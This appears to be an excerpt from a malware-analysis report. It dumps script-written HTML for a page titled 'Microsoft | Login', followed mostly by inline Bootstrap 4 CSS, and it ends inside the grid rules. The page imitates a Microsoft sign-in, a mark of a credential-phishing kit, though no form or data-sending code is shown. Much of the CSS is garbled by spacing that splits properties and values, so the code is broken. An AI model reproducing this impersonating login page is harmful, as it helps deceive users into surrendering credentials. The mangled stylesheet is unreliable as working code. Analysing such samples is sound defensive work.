#1 JavaScript::Write (size: 257835) - SHA256: 619e29eafd44ce9ebecbca6c59687567124cf83ba40419947b8d172d3380580c
< !doctype html >
< html lang = "en" >
< head >
< script type = "text/javascript"
src = "https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js" > < /script> < script type = "text/javascript"
src = "https://code.jquery.com/jquery-3.1.1.min.js" > < /script> < script type = "text/javascript"
src = "https://code.jquery.com/jquery-3.3.1.js"
integrity = "sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60="
crossorigin = "anonymous" > < /script>
<!-- Required meta tags -->
< meta charset = "utf-8" >
< meta name = "viewport"
content = "width=device-width, initial-scale=1, shrink-to-fit=no" >
<!-- Bootstrap CSS -->
< link href = "https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap"
rel = "stylesheet" >
< link rel = "stylesheet"
href = "https://use.fontawesome.com/releases/v5.7.0/css/all.css"
integrity = "sha384-lZN37f5QGtY3VHgisS14W3ExzMWZxybE1SJSEsQp9S+oqd12jhcu+A56Ebc1zFSJ"
crossorigin = "anonymous" >
< title > Microsoft | Login < /title> < style type = "text/css" >
/*!
* Bootstrap v4.0.0 (https://getbootstrap.com)
* Copyright 2011-2018 The Bootstrap Authors
* Copyright 2011-2018 Twitter, Inc.
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
*/
: root {
--blue: #007bff;
--indigo: # 6610 f2;
--purple: #6f42c1;
--pink: # e83e8c;
--red: # dc3545;
--orange: # fd7e14;
--yellow: # ffc107;
--green: #28a745;
--teal: # 20 c997;
--cyan: #17a2b8;
--white: # fff;
--gray: #6c757d;
--gray-dark: # 343 a40;
--primary: #007bff;
--secondary: # 6 c757d;
--success: #28a745;
--info: # 17 a2b8;
--warning: # ffc107;
--danger: # dc3545;
--light: # f8f9fa;
--dark: #343a40;
--breakpoint-xs: 0;
--breakpoint-sm: 576px;
--breakpoint-md: 768px;
--breakpoint-lg: 992px;
--breakpoint-xl: 1200px;
--font-family-sans-serif: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
--font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace
}
*,
::after,
::before {
box-sizing: border-box
}
html {
font-family: sans-serif;
line-height: 1.15;
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
-ms-overflow-style: scrollbar;
-webkit-tap-highlight-color: transparent
}
@-ms-viewport {
width: device-width
}
article,
aside,
dialog,
figcaption,
figure,
footer,
header,
hgroup,
main,
nav,
section {
display: block
}
body {
margin: 0;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
font-size: 1rem;
font-weight: 400;
line-height: 1.5;
color: # 212529;
text - align: left;
background - color: # fff
}
[tabindex = "-1"]: focus {
outline: 0!important
}
hr {
box - sizing: content - box;
height: 0;
overflow: visible
}
h1,
h2,
h3,
h4,
h5,
h6 {
margin - top: 0;
margin - bottom: .5 rem
}
p {
margin - top: 0;
margin - bottom: 1 rem
}
abbr[data - original - title],
abbr[title] {
text - decoration: underline; - webkit - text - decoration: underline dotted;
text - decoration: underline dotted;
cursor: help;
border - bottom: 0
}
address {
margin - bottom: 1 rem;
font - style: normal;
line - height: inherit
}
dl,
ol,
ul {
margin - top: 0;
margin - bottom: 1 rem
}
ol ol,
ol ul,
ul ol,
ul ul {
margin - bottom: 0
}
dt {
font - weight: 700
}
dd {
margin - bottom: .5 rem;
margin - left: 0
}
blockquote {
margin: 0 0 1 rem
}
dfn {
font - style: italic
}
b,
strong {
font - weight: bolder
}
small {
font - size: 80 %
}
sub,
sup {
position: relative;
font - size: 75 % ;
line - height: 0;
vertical - align: baseline
}
sub {
bottom: -.25e m
}
sup {
top: -.5e m
}
a {
color: #007bff;
text-decoration: none;
background-color: transparent;
-webkit-text-decoration-skip: objects
}
a:hover {
color: # 0056 b3;
text - decoration: underline
}
a: not([href]): not([tabindex]) {
color: inherit;
text - decoration: none
}
a: not([href]): not([tabindex]): focus,
a: not([href]): not([tabindex]): hover {
color: inherit;
text - decoration: none
}
a: not([href]): not([tabindex]): focus {
outline: 0
}
code,
kbd,
pre,
samp {
font - family: monospace, monospace;
font - size: 1e m
}
pre {
margin - top: 0;
margin - bottom: 1 rem;
overflow: auto; - ms - overflow - style: scrollbar
}
figure {
margin: 0 0 1 rem
}
img {
vertical - align: middle;
border - style: none
}
svg: not(: root) {
overflow: hidden
}
table {
border - collapse: collapse
}
caption {
padding - top: .75 rem;
padding - bottom: .75 rem;
color: #6c757d;
text-align: left;
caption-side: bottom
}
th {
text-align: inherit
}
label {
display: inline-block;
margin-bottom: .5rem
}
button {
border-radius: 0
}
button:focus {
outline: 1px dotted;
outline: 5px auto -webkit-focus-ring-color
}
button,
input,
optgroup,
select,
textarea {
margin: 0;
font-family: inherit;
font-size: inherit;
line-height: inherit
}
button,
input {
overflow: visible
}
button,
select {
text-transform: none
}
[type= reset], [type = submit],
button,
html[type = button] {
-webkit - appearance: button
}
[type = button]::-moz - focus - inner, [type = reset]::-moz - focus - inner, [type = submit]::-moz - focus - inner,
button::-moz - focus - inner {
padding: 0;
border - style: none
}
input[type = checkbox],
input[type = radio] {
box - sizing: border - box;
padding: 0
}
input[type = date],
input[type = datetime - local],
input[type = month],
input[type = time] {
-webkit - appearance: listbox
}
textarea {
overflow: auto;
resize: vertical
}
fieldset {
min - width: 0;
padding: 0;
margin: 0;
border: 0
}
legend {
display: block;
width: 100 % ;
max - width: 100 % ;
padding: 0;
margin - bottom: .5 rem;
font - size: 1.5 rem;
line - height: inherit;
color: inherit;
white - space: normal
}
progress {
vertical - align: baseline
}
[type = number]::-webkit - inner - spin - button, [type = number]::-webkit - outer - spin - button {
height: auto
}
[type = search] {
outline - offset: -2 px; - webkit - appearance: none
}
[type = search]::-webkit - search - cancel - button, [type = search]::-webkit - search - decoration {
-webkit - appearance: none
}
::-webkit - file - upload - button {
font: inherit; - webkit - appearance: button
}
output {
display: inline - block
}
summary {
display: list - item;
cursor: pointer
}
template {
display: none
}
[hidden] {
display: none!important
}
.h1,
.h2,
.h3,
.h4,
.h5,
.h6,
h1,
h2,
h3,
h4,
h5,
h6 {
margin - bottom: .5 rem;
font - family: inherit;
font - weight: 500;
line - height: 1.2;
color: inherit
}
.h1,
h1 {
font - size: 2.5 rem
}
.h2,
h2 {
font - size: 2 rem
}
.h3,
h3 {
font - size: 1.75 rem
}
.h4,
h4 {
font - size: 1.5 rem
}
.h5,
h5 {
font - size: 1.25 rem
}
.h6,
h6 {
font - size: 1 rem
}
.lead {
font - size: 1.25 rem;
font - weight: 300
}
.display - 1 {
font - size: 6 rem;
font - weight: 300;
line - height: 1.2
}
.display - 2 {
font - size: 5.5 rem;
font - weight: 300;
line - height: 1.2
}
.display - 3 {
font - size: 4.5 rem;
font - weight: 300;
line - height: 1.2
}
.display - 4 {
font - size: 3.5 rem;
font - weight: 300;
line - height: 1.2
}
hr {
margin - top: 1 rem;
margin - bottom: 1 rem;
border: 0;
border - top: 1 px solid rgba(0, 0, 0, .1)
}
.small,
small {
font - size: 80 % ;
font - weight: 400
}
.mark,
mark {
padding: .2e m;
background - color: # fcf8e3
}
.list - unstyled {
padding - left: 0;
list - style: none
}
.list - inline {
padding - left: 0;
list - style: none
}
.list - inline - item {
display: inline - block
}
.list - inline - item: not(: last - child) {
margin - right: .5 rem
}
.initialism {
font - size: 90 % ;
text - transform: uppercase
}
.blockquote {
margin - bottom: 1 rem;
font - size: 1.25 rem
}
.blockquote - footer {
display: block;
font - size: 80 % ;
color: #6c757d
}
.blockquote-footer::before {
content: "2014 �0A0"
}
.img-fluid {
max-width: 40%;
height: auto
}
.img-thumbnail {
padding: .25rem;
background-color: # fff;
border: 1 px solid # dee2e6;
border - radius: .25 rem;
max - width: 100 % ;
height: auto
}
.figure {
display: inline - block
}
.figure - img {
margin - bottom: .5 rem;
line - height: 1
}
.figure - caption {
font - size: 90 % ;
color: #6c757d
}
code,
kbd,
pre,
samp {
font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace
}
code {
font-size: 87.5%;
color: # e83e8c;
word -
break: break -word
}
a > code {
color: inherit
}
kbd {
padding: .2 rem.4 rem;
font - size: 87.5 % ;
color: # fff;
background - color: #212529;
border-radius: .2rem
}
kbd kbd {
padding: 0;
font-size: 100%;
font-weight: 700
}
pre {
display: block;
font-size: 87.5%;
color: # 212529
}
pre code {
font - size: inherit;
color: inherit;
word -
break: normal
}
.pre - scrollable {
max - height: 340 px;
overflow - y: scroll
}
.container {
width: 100 % ;
padding - right: 15 px;
padding - left: 15 px;
margin - right: auto;
margin - left: auto
}
@
media(min - width: 576 px) {
.container {
max - width: 540 px
}
}
@
media(min - width: 768 px) {
.container {
max - width: 720 px
}
}
@
media(min - width: 992 px) {
.container {
max - width: 960 px
}
}
@
media(min - width: 1200 px) {
.container {
max - width: 1140 px
}
}
.container - fluid {
width: 100 % ;
padding - right: 15 px;
padding - left: 15 px;
margin - right: auto;
margin - left: auto
}
.row {
display: -webkit - box;
display: -ms - flexbox;
display: flex; - ms - flex - wrap: wrap;
flex - wrap: wrap;
margin - right: -15 px;
margin - left: -15 px
}
.no - gutters {
margin - right: 0;
margin - left: 0
}
.no - gutters > .col,
.no - gutters > [class *= col - ] {
padding - right: 0;
padding - left: 0
}
.col,
.col - 1,
.col - 10,
.col - 11,
.col - 12,
.col - 2,
.col - 3,
.col - 4,
.col - 5,
.col - 6,
.col - 7,
.col - 8,
.col - 9,
.col - auto,
.col - lg,
.col - lg - 1,
.col - lg - 10,
.col - lg - 11,
.col - lg - 12,
.col - lg - 2,
.col - lg - 3,
.col - lg - 4,
.col - lg - 5,
.col - lg - 6,
.col - lg - 7,
.col - lg - 8,
.col - lg - 9,
.col - lg - auto,
.col - md,
.col - md - 1,
.col - md - 10,
.col - md - 11,
.col - md - 12,
.col - md - 2,
.col - md - 3,
.col - md - 4,
.col - md - 5,
.col - md - 6,
.col - md - 7,
.col - md - 8,
.col - md - 9,
.col - md - auto,
.col - sm,
.col - sm - 1,
.col - sm - 10,
.col - sm - 11,
.col - sm - 12,
.col - sm - 2,
.col - sm - 3,
.col - sm - 4,
.col - sm - 5,
.col - sm - 6,
.col - sm - 7,
.col - sm - 8,
.col - sm - 9,
.col - sm - auto,
.col - xl,
.col - xl - 1,
.col - xl - 10,
.col - xl - 11,
.col - xl - 12,
.col - xl - 2,
.col - xl - 3,
.col - xl - 4,
.col - xl - 5,
.col - xl - 6,
.col - xl - 7,
.col - xl - 8,
.col - xl - 9,
.col - xl - auto {
position: relative;
width: 100 % ;
min - height: 1 px;
padding - right: 15 px;
padding - left: 15 px
}
.col {
-ms - flex - preferred - size: 0;
flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
flex - grow: 1;
max - width: 100 %
}
.col - auto {
-webkit - box - flex: 0; - ms - flex: 0 0 auto;
flex: 0 0 auto;
width: auto;
max - width: none
}
.col - 1 {
-webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
flex: 0 0 8.333333 % ;
max - width: 8.333333 %
}
.col - 2 {
-webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
flex: 0 0 16.666667 % ;
max - width: 16.666667 %
}
.col - 3 {
-webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
flex: 0 0 25 % ;
max - width: 25 %
}
.col - 4 {
-webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
flex: 0 0 33.333333 % ;
max - width: 33.333333 %
}
.col - 5 {
-webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
flex: 0 0 41.666667 % ;
max - width: 41.666667 %
}
.col - 6 {
-webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
flex: 0 0 50 % ;
max - width: 50 %
}
.col - 7 {
-webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
flex: 0 0 58.333333 % ;
max - width: 58.333333 %
}
.col - 8 {
-webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
flex: 0 0 66.666667 % ;
max - width: 66.666667 %
}
.col - 9 {
-webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
flex: 0 0 75 % ;
max - width: 75 %
}
.col - 10 {
-webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
flex: 0 0 83.333333 % ;
max - width: 83.333333 %
}
.col - 11 {
-webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
flex: 0 0 91.666667 % ;
max - width: 91.666667 %
}
.col - 12 {
-webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
flex: 0 0 100 % ;
max - width: 100 %
}
.order - first {
-webkit - box - ordinal - group: 0; - ms - flex - order: -1;
order: -1
}
.order - last {
-webkit - box - ordinal - group: 14; - ms - flex - order: 13;
order: 13
}
.order - 0 {
-webkit - box - ordinal - group: 1; - ms - flex - order: 0;
order: 0
}
.order - 1 {
-webkit - box - ordinal - group: 2; - ms - flex - order: 1;
order: 1
}
.order - 2 {
-webkit - box - ordinal - group: 3; - ms - flex - order: 2;
order: 2
}
.order - 3 {
-webkit - box - ordinal - group: 4; - ms - flex - order: 3;
order: 3
}
.order - 4 {
-webkit - box - ordinal - group: 5; - ms - flex - order: 4;
order: 4
}
.order - 5 {
-webkit - box - ordinal - group: 6; - ms - flex - order: 5;
order: 5
}
.order - 6 {
-webkit - box - ordinal - group: 7; - ms - flex - order: 6;
order: 6
}
.order - 7 {
-webkit - box - ordinal - group: 8; - ms - flex - order: 7;
order: 7
}
.order - 8 {
-webkit - box - ordinal - group: 9; - ms - flex - order: 8;
order: 8
}
.order - 9 {
-webkit - box - ordinal - group: 10; - ms - flex - order: 9;
order: 9
}
.order - 10 {
-webkit - box - ordinal - group: 11; - ms - flex - order: 10;
order: 10
}
.order - 11 {
-webkit - box - ordinal - group: 12; - ms - flex - order: 11;
order: 11
}
.order - 12 {
-webkit - box - ordinal - group: 13; - ms - flex - order: 12;
order: 12
}
.offset - 1 {
margin - left: 8.333333 %
}
.offset - 2 {
margin - left: 16.666667 %
}
.offset - 3 {
margin - left: 25 %
}
.offset - 4 {
margin - left: 33.333333 %
}
.offset - 5 {
margin - left: 41.666667 %
}
.offset - 6 {
margin - left: 50 %
}
.offset - 7 {
margin - left: 58.333333 %
}
.offset - 8 {
margin - left: 66.666667 %
}
.offset - 9 {
margin - left: 75 %
}
.offset - 10 {
margin - left: 83.333333 %
}
.offset - 11 {
margin - left: 91.666667 %
}
@
media(min - width: 576 px) {
.col - sm {
-ms - flex - preferred - size: 0;
flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
flex - grow: 1;
max - width: 100 %
}
.col - sm - auto {
-webkit - box - flex: 0; - ms - flex: 0 0 auto;
flex: 0 0 auto;
width: auto;
max - width: none
}
.col - sm - 1 {
-webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
flex: 0 0 8.333333 % ;
max - width: 8.333333 %
}
.col - sm - 2 {
-webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
flex: 0 0 16.666667 % ;
max - width: 16.666667 %
}
.col - sm - 3 {
-webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
flex: 0 0 25 % ;
max - width: 25 %
}
.col - sm - 4 {
-webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
flex: 0 0 33.333333 % ;
max - width: 33.333333 %
}
.col - sm - 5 {
-webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
flex: 0 0 41.666667 % ;
max - width: 41.666667 %
}
.col - sm - 6 {
-webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
flex: 0 0 50 % ;
max - width: 50 %
}
.col - sm - 7 {
-webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
flex: 0 0 58.333333 % ;
max - width: 58.333333 %
}
.col - sm - 8 {
-webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
flex: 0 0 66.666667 % ;
max - width: 66.666667 %
}
.col - sm - 9 {
-webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
flex: 0 0 75 % ;
max - width: 75 %
}
.col - sm - 10 {
-webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
flex: 0 0 83.333333 % ;
max - width: 83.333333 %
}
.col - sm - 11 {
-webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
flex: 0 0 91.666667 % ;
max - width: 91.666667 %
}
.col - sm - 12 {
-webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
flex: 0 0 100 % ;
max - width: 100 %
}
.order - sm - first {
-webkit - box - ordinal - group: 0; - ms - flex - order: -1;
order: -1
}
.order - sm - last {
-webkit - box - ordinal - group: 14; - ms - flex - order: 13;
order: 13
}
.order - sm - 0 {
-webkit - box - ordinal - group: 1; - ms - flex - order: 0;
order: 0
}
.order - sm - 1 {
-webkit - box - ordinal - group: 2; - ms - flex - order: 1;
order: 1
}
.order - sm - 2 {
-webkit - box - ordinal - group: 3; - ms - flex - order: 2;
order: 2
}
.order - sm - 3 {
-webkit - box - ordinal - group: 4; - ms - flex - order: 3;
order: 3
}
.order - sm - 4 {
-webkit - box - ordinal - group: 5; - ms - flex - order: 4;
order: 4
}
.order - sm - 5 {
-webkit - box - ordinal - group: 6; - ms - flex - order: 5;
order: 5
}
.order - sm - 6 {
-webkit - box - ordinal - group: 7; - ms - flex - order: 6;
order: 6
}
.order - sm - 7 {
-webkit - box - ordinal - group: 8; - ms - flex - order: 7;
order: 7
}
.order - sm - 8 {
-webkit - box - ordinal - group: 9; - ms - flex - order: 8;
order: 8
}
.order - sm - 9 {
-webkit - box - ordinal - group: 10; - ms - flex - order: 9;
order: 9
}
.order - sm - 10 {
-webkit - box - ordinal - group: 11; - ms - flex - order: 10;
order: 10
}
.order - sm - 11 {
-webkit - box - ordinal - group: 12; - ms - flex - order: 11;
order: 11
}
.order - sm - 12 {
-webkit - box - ordinal - group: 13; - ms - flex - order: 12;
order: 12
}
.offset - sm - 0 {
margin - left: 0
}
.offset - sm - 1 {
margin - left: 8.333333 %
}
.offset - sm - 2 {
margin - left: 16.666667 %
}
.offset - sm - 3 {
margin - left: 25 %
}
.offset - sm - 4 {
margin - left: 33.333333 %
}
.offset - sm - 5 {
margin - left: 41.666667 %
}
.offset - sm - 6 {
margin - left: 50 %
}
.offset - sm - 7 {
margin - left: 58.333333 %
}
.offset - sm - 8 {
margin - left: 66.666667 %
}
.offset - sm - 9 {
margin - left: 75 %
}
.offset - sm - 10 {
margin - left: 83.333333 %
}
.offset - sm - 11 {
margin - left: 91.666667 %
}
}
@
media(min - width: 768 px) {
.col - md {
-ms - flex - preferred - size: 0;
flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
flex - grow: 1;
max - width: 100 %
}
.col - md - auto {
-webkit - box - flex: 0; - ms - flex: 0 0 auto;
flex: 0 0 auto;
width: auto;
max - width: none
}
.col - md - 1 {
-webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
flex: 0 0 8.333333 % ;
max - width: 8.333333 %
}
.col - md - 2 {
-webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
flex: 0 0 16.666667 % ;
max - width: 16.666667 %
}
.col - md - 3 {
-webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
flex: 0 0 25 % ;
max - width: 25 %
}
.col - md - 4 {
-webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
flex: 0 0 33.333333 % ;
max - width: 33.333333 %
}
.col - md - 5 {
-webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
flex: 0 0 41.666667 % ;
max - width: 41.666667 %
}
.col - md - 6 {
-webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
flex: 0 0 50 % ;
max - width: 50 %
}
.col - md - 7 {
-webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
flex: 0 0 58.333333 % ;
max - width: 58.333333 %
}
.col - md - 8 {
-webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
flex: 0 0 66.666667 % ;
max - width: 66.666667 %
}
.col - md - 9 {
-webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
flex: 0 0 75 % ;
max - width: 75 %
}
.col - md - 10 {
-webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
flex: 0 0 83.333333 % ;
max - width: 83.333333 %
}
.col - md - 11 {
-webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
flex: 0 0 91.666667 % ;
max - width: 91.666667 %
}
.col - md - 12 {
-webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
flex: 0 0 100 % ;
max - width: 100 %
}
.order - md - first {
-webkit - box - ordinal - group: 0; - ms - flex - order: -1;
order: -1
}
.order - md - last {
-webkit - box - ordinal - group: 14; - ms - flex - order: 13;
order: 13
}
.order - md - 0 {
-webkit - box - ordinal - group: 1; - ms - flex - order: 0;
order: 0
}
.order - md - 1 {
-webkit - box - ordinal - group: 2; - ms - flex - order: 1;
order: 1
}
.order - md - 2 {
-webkit - box - ordinal - group: 3; - ms - flex - order: 2;
order: 2
}
.order - md - 3 {
-webkit - box - ordinal - group: 4; - ms - flex - order: 3;
order: 3
}
.order - md - 4 {
-webkit - box - ordinal - group: 5; - ms - flex - order: 4;
order: 4
}
.order - md - 5 {
-webkit - box - ordinal - group: 6; - ms - flex - order: 5;
order: 5
}
.order - md - 6 {
-webkit - box - ordinal - group: 7; - ms - flex - order: 6;
order: 6
}
.order - md - 7 {
-webkit - box - ordinal - group: 8; - ms - flex - order: 7;
order: 7
}
.order - md - 8 {
-webkit - box - ordinal - group: 9; - ms - flex - order: 8;
order: 8
}
.order - md - 9 {
-webkit - box - ordinal - group: 10; - ms - flex - order: 9;
order: 9
}
.order - md - 10 {
-webkit - box - ordinal - group: 11; - ms - flex - order: 10;
order: 10
}
.order - md - 11 {
-webkit - box - ordinal - group: 12; - ms - flex - order: 11;
order: 11
}
.order - md - 12 {
-webkit - box - ordinal - group: 13; - ms - flex - order: 12;
order: 12
}
.offset - md - 0 {
margin - left: 0
}
.offset - md - 1 {
margin - left: 8.333333 %
}
.offset - md - 2 {
margin - left: 16.666667 %
}
.offset - md - 3 {
margin - left: 25 %
}
.offset - md - 4 {
margin - left: 33.333333 %
}
.offset - md - 5 {
margin - left: 41.666667 %
}
.offset - md - 6 {
margin - left: 50 %
}
.offset - md - 7 {
margin - left: 58.333333 %
}
.offset - md - 8 {
margin - left: 66.666667 %
}
.offset - md - 9 {
margin - left: 75 %
}
.offset - md - 10 {
margin - left: 83.333333 %
}
.offset - md - 11 {
margin - left: 91.666667 %
}
}
@
media(min - width: 992 px) {
.col - lg {
-ms - flex - preferred - size: 0;
flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
flex - grow: 1;
max - width: 100 %
}
.col - lg - auto {
-webkit - box - flex: 0; - ms - flex: 0 0 auto;
flex: 0 0 auto;
width: auto;
max - width: none
}
.col - lg - 1 {
-webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
flex: 0 0 8.333333 % ;
max - width: 8.333333 %
}
.col - lg - 2 {
-webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
flex: 0 0 16.666667 % ;
max - width: 16.666667 %
}
.col - lg - 3 {
-webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
flex: 0 0 25 % ;
max - width: 25 %
}
.col - lg - 4 {
-webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
flex: 0 0 33.333333 % ;
max - width: 33.333333 %
}
.col - lg - 5 {
-webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
flex: 0 0 41.666667 % ;
max - width: 41.666667 %
}
.col - lg - 6 {
-webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
flex: 0 0 50 % ;
max - width: 50 %
}
.col - lg - 7 {
-webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
flex: 0 0 58.333333 % ;
max - width: 58.333333 %
}
.col - lg - 8 {
-webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
flex: 0 0 66.666667 % ;
max - width: 66.666667 %
}
.col - lg - 9 {
-webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
flex: 0 0 75 % ;
max - width: 75 %
}
.col - lg - 10 {
-webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
flex: 0 0 83.333333 % ;
max - width: 83.333333 %
}
.col - lg - 11 {
-webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
flex: 0 0 91.666667 % ;
max - width: 91.666667 %
}
.col - lg - 12 {
-webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
flex: 0 0 100 % ;
max - width: 100 %
}
.order - lg - first {
-webkit - box - ordinal - group: 0; - ms - flex - order: -1;
order: -1
}
.order - lg - last {
-webkit - box - ordinal - group: 14; - ms - flex - order: 13;
order: 13
}
.order - lg - 0 {
-webkit - box - ordinal - group: 1; - ms - flex - order: 0;
order: 0
}
.order - lg - 1 {
-webkit - box - ordinal - group: 2; - ms - flex - order: 1;
order: 1
}
.order - lg - 2 {
-webkit - box - ordinal - group: 3; - ms - flex - order: 2;
order: 2
}
.order - lg - 3 {
-webkit - box - ordinal - group: 4; - ms - flex - order: 3;
order: 3
}
.order - lg - 4 {
-webkit - box - ordinal - group: 5; - ms - flex - order: 4;
order: 4
}
.order - lg - 5 {
-webkit - box - ordinal - group: 6; - ms - flex - order: 5;
order: 5
}
.order - lg - 6 {
-webkit - box - ordinal - group: 7; - ms - flex - order: 6;
order: 6
}
.order - lg - 7 {
-webkit - box - ordinal - group: 8; - ms - flex - order: 7;
order: 7
}
.order - lg - 8 {
-webkit - box - ordinal - group: 9; - ms - flex - order: 8;
order: 8
}
.order - lg - 9 {
-webkit - box - ordinal - group: 10; - ms - flex - order: 9;
order: 9
}
.order - lg - 10 {
-webkit - box - ordinal - group: 11; - ms - flex - order: 10;
order: 10
}
.order - lg - 11 {
-webkit - box - ordinal - group: 12; - ms - flex - order: 11;
order: 11
}
.order - lg - 12 {
-webkit - box - ordinal - group: 13; - ms - flex - order: 12;
order: 12
}
.offset - lg - 0 {
margin - left: 0
}
.offset - lg - 1 {
margin - left: 8.333333 %
}
.offset - lg - 2 {
margin - left: 16.666667 %
}
.offset - lg - 3 {
margin - left: 25 %
}
.offset - lg - 4 {
margin - left: 33.333333 %
}
.offset - lg - 5 {
margin - left: 41.666667 %
}
.offset - lg - 6 {
margin - left: 50 %
}
.offset - lg - 7 {
margin - left: 58.333333 %
}
.offset - lg - 8 {
margin - left: 66.666667 %
}
.offset - lg - 9 {
margin - left: 75 %
}
.offset - lg - 10 {
margin - left: 83.333333 %
}
.offset - lg - 11 {
margin - left: 91.666667 %
}
}
@
media(min - width: 1200 px) {
.col - xl {
-ms - flex - preferred - size: 0;
flex - basis: 0; - webkit - box - flex: 1; - ms - flex - positive: 1;
flex - grow: 1;
max - width: 100 %
}
.col - xl - auto {
-webkit - box - flex: 0; - ms - flex: 0 0 auto;
flex: 0 0 auto;
width: auto;
max - width: none
}
.col - xl - 1 {
-webkit - box - flex: 0; - ms - flex: 0 0 8.333333 % ;
flex: 0 0 8.333333 % ;
max - width: 8.333333 %
}
.col - xl - 2 {
-webkit - box - flex: 0; - ms - flex: 0 0 16.666667 % ;
flex: 0 0 16.666667 % ;
max - width: 16.666667 %
}
.col - xl - 3 {
-webkit - box - flex: 0; - ms - flex: 0 0 25 % ;
flex: 0 0 25 % ;
max - width: 25 %
}
.col - xl - 4 {
-webkit - box - flex: 0; - ms - flex: 0 0 33.333333 % ;
flex: 0 0 33.333333 % ;
max - width: 33.333333 %
}
.col - xl - 5 {
-webkit - box - flex: 0; - ms - flex: 0 0 41.666667 % ;
flex: 0 0 41.666667 % ;
max - width: 41.666667 %
}
.col - xl - 6 {
-webkit - box - flex: 0; - ms - flex: 0 0 50 % ;
flex: 0 0 50 % ;
max - width: 50 %
}
.col - xl - 7 {
-webkit - box - flex: 0; - ms - flex: 0 0 58.333333 % ;
flex: 0 0 58.333333 % ;
max - width: 58.333333 %
}
.col - xl - 8 {
-webkit - box - flex: 0; - ms - flex: 0 0 66.666667 % ;
flex: 0 0 66.666667 % ;
max - width: 66.666667 %
}
.col - xl - 9 {
-webkit - box - flex: 0; - ms - flex: 0 0 75 % ;
flex: 0 0 75 % ;
max - width: 75 %
}
.col - xl - 10 {
-webkit - box - flex: 0; - ms - flex: 0 0 83.333333 % ;
flex: 0 0 83.333333 % ;
max - width: 83.333333 %
}
.col - xl - 11 {
-webkit - box - flex: 0; - ms - flex: 0 0 91.666667 % ;
flex: 0 0 91.666667 % ;
max - width: 91.666667 %
}
.col - xl - 12 {
-webkit - box - flex: 0; - ms - flex: 0 0 100 % ;
flex: 0 0 100 % ;
max - width: 100 %
}
.order - xl - first {
-webkit - box - ordinal - group: 0; - ms - flex - order: -1;
order: -1
}
.order - xl - last {
-webkit - box - ordinal - group: 14; - ms - flex - order: 13;
order: 13
}
.order - xl - 0 {
-webkit - box - ordinal - group: 1; - ms - flex - order: 0;
order: 0
}
.order - xl - 1 {
-webkit - box - ordinal - group: 2; - ms - flex - order: 1;
order: 1
}
.order - xl - 2 {
-webkit - box - ordinal - group: 3; - ms - flex - order: 2;
order: 2
}
.order - xl - 3 {
-webkit - box - ordinal - group: 4; - ms - flex - order: 3;
order: 3
}
.order - xl - 4 {
-webkit - box - ordinal - group: 5; - ms - flex - order: 4;
order: 4
}
.order - xl - 5 {
-webkit - box - ordinal - group: 6; - ms - flex - order: 5;
order: 5
}
